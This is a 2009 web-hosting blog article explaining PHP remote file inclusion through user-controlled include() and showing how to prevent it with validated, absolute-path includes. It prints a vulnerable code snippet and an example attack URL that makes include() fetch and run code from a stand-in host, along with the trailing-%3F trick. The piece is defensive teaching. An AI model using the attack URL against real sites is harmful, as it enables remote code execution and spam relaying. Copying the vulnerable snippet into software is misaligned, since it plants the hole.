Shout Box

Latest Message: 10 months, 1 week ago
  • Shantanu Bha : --
  • Shantanu Bha : aaa
  • Shantanu Bha : -
  • Shantanu Bha : -
  • Shantanu Bha : -
  • Shantanu Bha : -
  • Shantanu Bha : -
  • Shantanu Bha : -
  • Shantanu Bha : -
  • Shantanu Bha : -

Guests are shown between [].

Only registered users are allowed to post

Tag Selector

Zaragoza Clouds

by Zaragoza Online

confused deputy problem

PHP and include url exploit PDF Print Email
Written by   
Thursday, 12 November 2009 10:52

Unlike most vulnerabilities that stem from a faulty version of some app a lot of people use, this one crops up primarily on sites containing PHP code that people write themselves.

Cleaning up the resulting messes is getting a little tedious and so, even though this is hardly a new exploit, I wanted to write a little bit about what the vulnerability is, how it works, how spammers exploit it, and how to keep your site safe.

Let’s start with the problem code. If you’ve written a PHP script on your site that contains code similar to the below, you’re probably vulnerable:

$page = $_GET['page'] . ".php";
include($page);

A lot of people seem to use code like this. If they call this script exploitme.php, then the URL’s for these type of sites wind up looking like this:

http://example.nfshost.com/exploitme.php?page=main
http://example.nfshost.com/exploitme.php?page=contact
http://example.nfshost.com/exploitme.php?page=faq

Then, they put the body of each page into main.php, contact.php, and faq.php. They put the stuff that’s the same on every page in exploitme.php and, presto, instant mini-CMS.

How does this get exploited?

When interacting with this script, the attacker has no need to limit themselves to the URLs the page author intended. What they use instead tends to look like this:

http://example.nfshost.com/exploitme.php?page=http://badsite.example.com/urhacked.txt%3F

Most people don’t know that include() will happily pull in the contents of that urhacked.txt file from some other site and execute it. The other site doesn’t even have to be running PHP; the exploit code could be on some other already-hacked site, or anywhere that the hacker can put a text file.

The “urhacked.txt” file actually contains whatever PHP commands the attacker wants to execute. Typically, this means sending out tons of spam, which comes from the vulnerable site. Spotting the huge email queue from a site that’s never sent email in its life is usually how we find out about it. But that’s not all they can do; this is an “arbitrary code” exploit. They can do whatever they want using the same privileges the exploited page has. Security researchers call exploits of this type the confused deputy problem.

What makes this particular vulnerability even worse is that it’s possible to detect and exploit automatically. Attackers are smart enough to query search engines for lists of pages with links embedded in the format shown above. All their attack script needs to do is identify the URL of your page and the name of the variable used to hold the target page.

This is a problem because a whole lot of people think “no one bad will ever find or bother trying to exploit my little site.” They don’t realize that it’s it’s no bother; it’s done completely automatically. If you’ve got a vulnerability like this, getting exploited is not “if,” it’s “when.”

Also, the %3F at the end of the attacker’s “page” value decodes into a question mark. This is because the attacker assumes the site will add .php or something to the name they give it to get the filename to load. So the URL that the site winds up loading looks like this:

http://badsite.example.com/urhacked.txt?.php

Assuming that urhacked.txt is a static file, the ? and everything after it will be discarded and the malicious contents will be returned no matter what the site adds at the end.

How to prevent it?

Our default permissions and user/group setup prevent a lot of these from getting worse; by default the attacker cannot execute system commands, create, remove, or (worse) edit files. But the attackers can (and do) send spam. And they can read any files on your site that contain stuff like database passwords you’d probably rather they didn’t have.

Worse, sometimes people irritated with the complexities of getting permissions and ownership exactly right leave things wide open. When that mindset encounters this vulnerability, the resulting damage to the affected site is usually unrecoverable.

So, the first thing one tends to want to do upon finding out about this is to disable the ability of PHP’s include() function to load files from remote sites. PHP allows this by adding the following to .htaccess:

php_flag allow_url_include false

This is a good start, and definitely something to consider, but one of the authors of the Suhosin PHP security patch explained why that is inadequate some years ago.

The second thing that seems obvious is using file_exists() to make sure the file really exists before trying to load it. But file_exists() works on URL’s too. D’oh!

There are two viable ways of eliminating this vulnerability.

The best approach, and the one we recommend, is not to create it in the first place. If you want five PHP pages to share a common header and footer (for example), then reverse the include(). In other words, the URL from the “main” example above:

http://example.nfshost.com/exploitme.php?page=main

changes to reference the main.php file directly:

http://example.nfshost.com/main.php

And then main.php looks like this:


The same main page content that was always there.

This way, the exploitme.php script goes away (split into header and footer) and the site never has to trust the user about what belongs inside the very powerful include() statement. Adding a couple of lines (at most) of boilerplate code to each page of content is a small price to pay to entirely eliminate an entire category of security problems.

The second approach is to scrupulously validate the inputs before acting on them. Unfortunately it’s very easy to get this wrong. So to help people get it right, we’re going to walk through the four necessary steps. (All four are essential, skip any one and the whole exercise becomes an elaborate waste of time.) They are:

  1. Examine and reject any input that isn’t entirely formed of “friendly” characters (e.g. letters and numbers).
  2. Put the “content” files (e.g. main.php, contact.php, faq.php) in a special subdirectory of your site’s “protected” directory.*
  3. Always refer to files handled in this way using absolute paths and/or system environment variables.
  4. Test the existence of the file before you include it.

Here’s a simple example:

$page = $_GET['page'];
if (!preg_match("/^[A-Za-z0-9_]+$/", $page))
throw new BadPageException("Bad character(s)", $page);
$path = "{$_SERVER['NFSN_SITE_ROOT']}/protected/pages/{$page}.php";
if (!file_exists($path))
throw new BadPageException("Page not found", $page);
include($path);

class BadPageException extends Exception {
function __construct($err, $page) {
$page = urlencode($page);
if (strlen($page) > 128)
$page = substr($page, 0, 128) . "…";
parent::__construct("Error \"{$err}\" on \"{$page}\"");
}
}

Line 1 retrieves the page name from the query string.
Lines 2-3 abort if it isn’t composed entirely of ASCII letters, numbers, and the underscore (_). (Step 1)
Line 4 correlates the page name with a specific filename in a special directory just for these types of pages (Step 2) using an absolute path based on site-independent environment variables (Step 3)
Lines 5-6 abort if the resulting filename doesn’t exist. (Step 4)
Line 7 includes the file.
Lines 9-16 are probably overkill for a “simple” example, but we wanted to show people how to do it right in the real world. When something goes wrong, these lines document the problem. The complexity here comes from “defanging” the requested page name before printing it in an error message. Usually you would want to configure your site to write such messages to its error log, so this protects against 10 pages of gibberish, or codes that will mess up your terminal when you look at it, etc.

So that’s it, one of the most common classes of exploit explored and examined, complete with working sample code.


Add this page to your favorite Social Bookmarking websites
Reddit! Del.icio.us! Mixx! Free and Open Source Software News Google! Live! Facebook! StumbleUpon! Yahoo! Joomla Free PHP
 


Taxonomy by Zaragoza Online